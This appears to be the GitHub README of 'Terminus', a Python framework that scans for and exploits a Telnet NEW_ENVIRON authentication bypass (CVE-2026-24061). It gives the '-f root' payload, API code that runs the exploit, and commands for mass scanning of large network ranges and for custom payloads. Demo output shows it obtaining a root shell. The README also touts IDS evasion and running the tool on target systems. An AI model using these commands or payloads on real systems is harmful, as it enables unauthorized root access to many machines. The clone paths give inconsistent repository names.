Terminus - CVE-2026-24061 Scanner & Exploitation Framework

A security analysis engine for CVE-2026-24061 Telnet NEW_ENVIRON authentication bypass and privilege escalation vulnerability.

Overview

Terminus is a professional security research tool designed for authorized penetration testing and vulnerability assessment of CVE-2026-24061. This critical vulnerability affects legacy Telnet daemon implementations, allowing unauthenticated remote attackers to bypass authentication and gain root-level access.

What is CVE-2026-24061?

CVE-2026-24061 is a Remote Code Execution vulnerability in Telnet services that support RFC 1572 (Telnet Environment Option). The vulnerability exploits improper sanitization of the USER environment variable during NEW_ENVIRON subnegotiation:

Normal authentication: USER=john → prompts for password
Exploit payload: USER=-f root → bypasses authentication, grants root shell

Impact:

Complete authentication bypass (no password required)
Immediate privilege escalation to root
Full system compromise

Affected Services:

Legacy Telnet GNU Inetutils telnetd (specifically versions through 2.7)
IoT firmware with vulnerable Telnet implementations
Industrial control systems with outdated Telnet services

Key Features

Mass Vulnerability Scanner

High-Concurrency Scanning: Scan 1,000+ targets concurrently using AsyncIO
CIDR Support: Scan entire network ranges (192.168.0.0/24, 10.0.0.0/8)
Dual Detection Modes:
- Passive (default): Fast, safe, signature-based detection
- Active Verification (--verify): Proof-of-exploit, confirms uid=0 root access
Banner Analysis: Fingerprint daemon types and versions
Risk Scoring: Multi-layered confidence assessment (CRITICAL, HIGH, MEDIUM, LOW)

RFC-Compliant Protocol Engine

TerminusNegotiator Class: Clean API for Telnet protocol operations
- Terminus.handshake() - RFC 854 compliant handshake
- Terminus.exploit() - CVE-2026-24061 payload delivery
Proper Option Negotiation: Avoids IDS/IPS detection through protocol compliance
State Machine: Robust handling of IAC sequences (DO/DONT/WILL/WONT/SB/SE)

Authorization-Gated Exploitation

Interactive Shell: Full post-exploitation shell with root access
Command Execution: Execute single commands and capture output
Evidence Collection: Gather uid, environment variables, system info
Safety Mechanisms:
- Requires explicit --exploit flag
- Disabled in batch scanning mode
- Audit logging of all exploitation attempts

Multi-Format Reporting

Terminal: Rich-formatted tables with color-coded risk levels
JSON: SIEM/SOAR integration
CSV: Spreadsheet tracking
HTML: Detailed reports with statistics
Markdown: Documentation-friendly output

Architecture

Core Engine: TerminusNegotiator

The heart of Terminus is the TerminusNegotiator class, which provides a clean separation between protocol handling and exploitation logic:

from terminus import TerminusNegotiator

# Initialize engine
negotiator = TerminusNegotiator()

# Step 1: RFC 854 compliant handshake
await negotiator.handshake(target="192.168.1.100", port=23)

# Step 2: Deliver CVE-2026-24061 payload
result = await negotiator.exploit(payload="-f root")

if result.success:
    print(f"Root shell acquired: {result.evidence['uid']}")

Engine vs. Script Approach

Traditional scripts (existing tools):

Target → Raw Socket → Payload → Blind Execution → Hope for Shell

Terminus engine:

Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment
                                    ↓
                          [Optional] Verified Exploitation → Evidence Collection → Report

Installation

Requirements

Python 3.10+
Supported Platforms:
- Windows 10/11 (PowerShell)
- Windows + WSL2 (Kali Linux, Parrot OS, Ubuntu)
- Native Linux (Kali, Parrot, Ubuntu, Debian)
- macOS (with Python 3.10+)

Quick Start (All Platforms)

Windows (PowerShell)

# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git

# Run setup script
.\setup_env.ps1

# Activate virtual environment
.venv\Scripts\Activate.ps1

# Verify installation
terminus --version

Linux / WSL2 / macOS (Bash)

# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terminus-CVE-2025-2406

# Run setup script
chmod +x setup_env.sh
./setup_env.sh

# Activate virtual environment
source venv/bin/activate

# Verify installation
terminus --version

Manual Installation (All Platforms)

# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terrminus-CVE-2026-2406

# Create virtual environment
python3 -m venv venv

# Activate (Linux/macOS/WSL)
source venv/bin/activate

# Activate (Windows PowerShell)
# venv\Scripts\Activate.ps1

# Install dependencies
pip install -e .

# Verify
terminus --version

Dependencies (Cross-Platform)

telnetlib3 - AsyncIO Telnet protocol implementation
rich - Terminal UI and formatting (ANSI support on Windows/Linux)
pydantic - Data validation and models
aiofiles - Async file I/O
jinja2 - Report templating
pyyaml - Configuration management
pathlib - Cross-platform path handling (built-in)

Note: All dependencies are pure Python or have cross-platform wheels. No platform-specific compilation required.

Shell Completion (Optional)

Enable tab completion for faster command entry:

Bash

_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash
echo 'source ~/.terminus-complete.bash' >> ~/.bashrc
source ~/.bashrc

Zsh

_TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
source ~/.zshrc

Fish

_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish

PowerShell

# Add to $PROFILE
_TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression

Test it:

terminus <TAB>    # Shows: scan, exploit, version
terminus scan -<TAB>    # Shows: -t, -f, -p, --verify, etc.

Usage

Scanning Modes

Single Target Scan

terminus scan -t 192.168.1.100

CIDR Range Scan

terminus scan -t 192.168.1.0/24

File-Based Batch Scan

# targets.txt contains one IP/CIDR per line
terminus scan -f targets.txt --threads 500

High-Concurrency Network Scan

terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200

Detection Modes

Passive Detection (Default - Safe)

terminus scan -t target.com --passive-only

Aggressive Detection (All Heuristics)

terminus scan -t target.com --aggressive

Active Verification Mode (Proof-of-Exploit)

terminus scan -t 192.168.1.100 --verify

Usage

Live Demonstration

Check version:

PS C:\terminus> terminus --version
Terminus v1.0.0
CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework
Signatures database: C:\terminus\signatures.db

Passive scan (default - conservative risk assessment):

PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323

================================================================
                        TERMINUS
       CVE-2026-24061 Scanner & Exploitation Framework
================================================================

Parsing 1 targets...
Found 1 valid targets

  Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 0 0:00:00

╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061      │
│ Total Targets: 1         │
│ Scanned: 1               │
│ Failed: 0                │
│ Timeouts: 0              │
│                          │
│ Vulnerability Breakdown: │
│   Critical: 0            │
│   High: 0                │
│   Medium: 0              │
│   Low: 1                 │
│   Info: 0                │
│                          │
│ Duration: 3.53s          │
│ Avg Scan Time: 3522.22ms │
│                          │
╰──────────────────────────╯

                                 Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮
│ Target        │ Port │  Status   │ Risk │ Daemon  │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │
├───────────────┼──────┼───────────┼──────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤
│ 172.17.45.122 │ 2323 │ completed │ Low  │ unknown │ Unknown │     YES     │    -     │       3522.22 │
╰───────────────┴──────┴───────────┴──────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯

No vulnerable targets found

Active verification with --verify (proof-of-exploit):

PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323 --verify

================================================================
                        TERMINUS
       CVE-2026-24061 Scanner & Exploitation Framework
================================================================

Parsing 1 targets...
Found 1 valid targets

  Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 1 0:00:00

╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061      │
│ Total Targets: 1         │
│ Scanned: 1               │
│ Failed: 0                │
│ Timeouts: 0              │
│                          │
│ Vulnerability Breakdown: │
│   Critical: 1            │
│   High: 0                │
│   Medium: 0              │
│   Low: 0                 │
│   Info: 0                │
│                          │
│ Duration: 8.04s          │
│ Avg Scan Time: 8029.55ms │
│                          │
╰──────────────────────────╯

                                   Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮
│ Target        │ Port │  Status   │   Risk   │ Daemon  │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │
├───────────────┼──────┼───────────┼──────────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤
│ 172.17.45.122 │ 2323 │ completed │ Critical │ unknown │ Unknown │     YES     │   ROOT   │       8029.55 │
╰───────────────┴──────┴───────────┴──────────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯

Found 1 vulnerable targets!

Interactive exploitation:

PS C:terminus> python -m terminus exploit -t 172.17.45.122 -p 2323 --yes

================================================================
                        TERMINUS
       CVE-2026-24061 Scanner & Exploitation Framework
================================================================

Attempting exploitation of 172.17.45.122:2323...
Payload: -f root

CVE-2026-24061 exploitation attempt initiated with payload: -f root
CVE-2026-24061 exploitation SUCCESSFUL - root access obtained

[*] CVE-2026-24061 Interactive Shell Started
[*] Type 'exit' or press Ctrl+C to quit

whoami
root
┌──[root@parrot]─[~]
└──╼ #

Key observations:

Passive mode: Detected NEW_ENVIRON support but reported LOW risk (conservative)
Active verification: Confirmed root access (uid=0), escalated to CRITICAL risk with "ROOT" verification status
Exploitation: Immediate root shell without password prompt

What it does:

Performs passive detection first (banner + protocol analysis)
If vulnerability suspected, attempts actual exploitation with -f root payload
Confirms root access by checking uid=0 in response
Escalates risk to CRITICAL when root access confirmed
Outputs verification status in scan results

Use cases:

High-confidence validation for compliance reports
Proof-of-concept demonstrations
Confirming exploitability before reporting to vendors
Red team operations requiring evidence collection

Example output:

Target           Port  Status      Daemon              Risk      Verified
192.168.1.100    23    VULNERABLE  inetutils-telnetd   CRITICAL  ROOT ACCESS
192.168.1.101    23    VULNERABLE  netkit-telnetd      HIGH      Not tested
192.168.1.102    23    SAFE        OpenBSD-telnetd     LOW       N/A

Batch verification:

terminus scan -f targets.txt --verify -o json -w verified_results.json

Note: Active verification attempts exploitation. Only use with proper authorization.

Output Formats

JSON Output

terminus scan -t 192.168.1.0/24 -o json > results.json

HTML Report

terminus scan -f targets.txt -o html -w report.html

CSV Export

terminus scan -t 10.0.0.0/24 -o csv > vulnerabilities.csv

Exploitation (Authorized Use Only)

Interactive Shell

terminus exploit -t 192.168.1.100
# Requires confirmation prompt
# Grants root shell on vulnerable target

Command Execution

terminus exploit -t 192.168.1.100 -c "id"
# Output: uid=0(root) gid=0(root) groups=0(root)

Custom Payload

terminus exploit -t 192.168.1.100 --payload "-f admin"

Utility Commands

Update Vulnerability Signatures

terminus update-signatures

Verify Previous Results

terminus verify -f results.json

Show Version and Signatures

terminus version

Testing Environment Setup

For Red Team: Cross-Platform Deployment

Terminus is designed for portable deployment - copy the directory to any Windows/Linux system and run without installation:

# Copy terminus directory to target system
# No hardcoded paths - everything is relative

# Run directly (no installation needed)
cd terminus
python3 -m terminus scan -t 192.168.1.0/24

# All output stays in project directory:
# - Logs: ./logs/terminus.log
# - Reports: ./reports/
# - Config: ./config.yaml

WSL2 Testing Environment (Windows)

Recommended for Windows Red Team workstations - isolated Linux environment for deploying vulnerable test services:

Install WSL2 with Kali or Parrot

# Windows PowerShell (Admin)

# Install WSL2
wsl --install

# Install Kali Linux
wsl --install -d kali-linux

# OR Install Parrot OS (if available)
# wsl --install -d ParrotOS

# Verify
wsl -l -v

Inside WSL2 (Kali/Parrot)

# Update system
sudo apt update && sudo apt upgrade -y

# Install Terminus dependencies
sudo apt install python3 python3-pip python3-venv

# Install testing tools
sudo apt install netkit-telnetd telnetd wireshark tcpdump

# Clone and setup Terminus
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406
cd Terminusb-CVE-2026-2406
./setup_env.sh
source venv/bin/activate

Deploy Vulnerable Test Service (WSL2 Only)

WARNING: Only in isolated lab environments. Never on production systems.

# Inside WSL2

# Install vulnerable netkit-telnetd version
sudo apt install netkit-telnetd=0.17-*

# Configure for NEW_ENVIRON support
# Edit /etc/inetd.conf to enable telnet

# Start service
sudo systemctl restart inetd

# Test from Windows host
# From PowerShell:
# terminus scan -t $(wsl hostname -I)

Cross-Platform Testing Matrix

Test Terminus on all platforms used by your Red Team:

Platform	Installation	Scanning	Exploitation
Windows 10/11 (PowerShell)	Yes	Yes	Yes
WSL2 - Kali Linux	Yes	Yes	Yes
WSL2 - Parrot OS	Yes	Yes	Yes
WSL2 - Ubuntu	Yes	Yes	Yes
Native Kali Linux	Yes	Yes	Yes
Native Parrot OS	Yes	Yes	Yes
macOS	Yes	Yes	Yes

API Reference

Python Integration

import asyncio
from terminus import TerminusScanner, TerminusExploiter, TerminusNegotiator
from terminus.reporting.models import RiskScore

async def scan_network():
    # High-level scanner
    async with TerminusScanner() as scanner:
        async for result in scanner.scan_targets(["192.168.1.0/24"]):
            if result.risk_score == RiskScore.CRITICAL:
                print(f"CRITICAL: {result.target}")
                print(f"   Daemon: {result.daemon_type} {result.version}")
                print(f"   Confidence: {result.vulnerability_confidence:.2%}")

async def exploit_target():
    # Direct engine usage
    negotiator = TerminusNegotiator()
    
    # Handshake
    success = await negotiator.handshake(target="192.168.1.100", port=23)
    if not success:
        print("Handshake failed")
        return
    
    # Exploit
    result = await negotiator.exploit(payload="-f root")
    if result.success:
        print(f"Root access obtained")
        print(f"Evidence: {result.evidence}")

# Run
asyncio.run(scan_network())

Security & Ethics

Legal Warning

This tool is intended ONLY for:

Authorized penetration testing engagements
Security research in controlled environments
CTF competitions and educational labs
Defensive security assessments with written permission

Unauthorized use is ILLEGAL and unethical.

Safety Mechanisms

Authorization Required: Exploitation requires explicit --exploit flag
Confirmation Prompts: Interactive confirmation before exploitation
Audit Logging: All exploitation attempts logged with timestamps
Single-Target Enforcement: Exploitation disabled in batch scan mode
Rate Limiting: Prevents accidental DoS during scanning

Responsible Disclosure

If you discover vulnerable systems using Terminus:

DO NOT exploit systems without written authorization
Report findings to system owners through responsible disclosure
Document findings using Terminus reporting features
Follow coordinated vulnerability disclosure guidelines

References

CVE Information

CVE ID: CVE-2026-24061
Severity: CRITICAL (CVSS 9.8)
Vector: Network, Unauthenticated, Low Complexity

Research & Implementation

Primary Research: SafeBreach-Labs CVE-2026-24061
Reference Exploit: telnet_rce.py
Batch Scanner: TryA9ain CVE-2026-24061

Protocol Standards

RFC 854: Telnet Protocol Specification
RFC 1572: Telnet Environment Option

Testing & Validation

Test Coverage

90%+ code coverage with pytest
Unit tests for all core modules
Integration tests with mock Telnet server
Performance benchmarks (1,000 targets < 60 seconds)

Manual Testing Checklist

Scan vulnerable service (verify detection)
Scan patched service (verify no false positive)
Test authentication bypass (no password prompt)
Verify privilege escalation (uid=0)
Monitor IDS alerts (verify stealth)
Performance test (1,000+ targets)

Configuration

config.yaml (Cross-Platform)

All paths are relative to project root - works on Windows, Linux, and WSL without modification:

# config.yaml - Cross-platform configuration
# All paths relative to project directory

scanner:
  default_port: 23
  connect_timeout: 3.0
  handshake_timeout: 5.0
  max_concurrent: 1000
  rate_limit: 100  # connections/second

detection:
  passive_only: true  # Safe mode by default
  banner_timeout: 2.0
  heuristic_checks: true
  # Signature database (relative path)
  signatures_db: "./signatures.db"

exploit:
  require_authorization: true
  default_payload: "-f root"
  evidence_collection: true
  interactive_shell: true

reporting:
  default_format: "terminal"
  include_safe_targets: false
  verbosity: "normal"
  # Output directory (relative path - works on Windows/Linux)
  output_dir: "./reports"

logging:
  level: "INFO"
  # Log file (relative path - automatic directory creation)
  file: "./logs/terminus.log"
  format: "json"
  console_enabled: true

---

## Acknowledgments

- **SafeBreach Labs:** Original CVE-2026-24061 research and exploit implementation
- **TryA9ain:** Batch scanning approach inspiration
- **RFC Authors:** Telnet protocol specifications

---

Name		Name	Last commit message	Last commit date
Latest commit History 11 Commits
images		images
terminus		terminus
tests		tests
.gitignore		.gitignore
LICENSE		LICENSE
README.md		README.md
config.yaml		config.yaml
pyproject.toml		pyproject.toml
signatures.db		signatures.db
terminus_helper.ps1		terminus_helper.ps1
terminus_helper.sh		terminus_helper.sh

Folders and files

Latest commit

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Terminus - CVE-2026-24061 Scanner & Exploitation Framework

Overview

What is CVE-2026-24061?

Key Features

Mass Vulnerability Scanner

RFC-Compliant Protocol Engine

Authorization-Gated Exploitation

Multi-Format Reporting

Architecture

Core Engine: TerminusNegotiator

Engine vs. Script Approach

Installation

Requirements

Quick Start (All Platforms)

Windows (PowerShell)

Linux / WSL2 / macOS (Bash)

Manual Installation (All Platforms)

Dependencies (Cross-Platform)

Shell Completion (Optional)

Bash

Zsh

Fish

PowerShell

Usage

Scanning Modes

Single Target Scan

CIDR Range Scan

File-Based Batch Scan

High-Concurrency Network Scan

Detection Modes

Passive Detection (Default - Safe)

Aggressive Detection (All Heuristics)

Active Verification Mode (Proof-of-Exploit)

Usage

Live Demonstration

Output Formats

JSON Output

HTML Report

CSV Export

Exploitation (Authorized Use Only)

Interactive Shell

Command Execution

Custom Payload

Utility Commands

Update Vulnerability Signatures

Verify Previous Results

Show Version and Signatures

Testing Environment Setup

For Red Team: Cross-Platform Deployment

WSL2 Testing Environment (Windows)

Install WSL2 with Kali or Parrot

Inside WSL2 (Kali/Parrot)

Deploy Vulnerable Test Service (WSL2 Only)

Cross-Platform Testing Matrix

API Reference

Python Integration

Security & Ethics

Legal Warning

Safety Mechanisms

Responsible Disclosure

References

CVE Information

Research & Implementation

Protocol Standards

Testing & Validation

Test Coverage

Manual Testing Checklist

Configuration

config.yaml (Cross-Platform)

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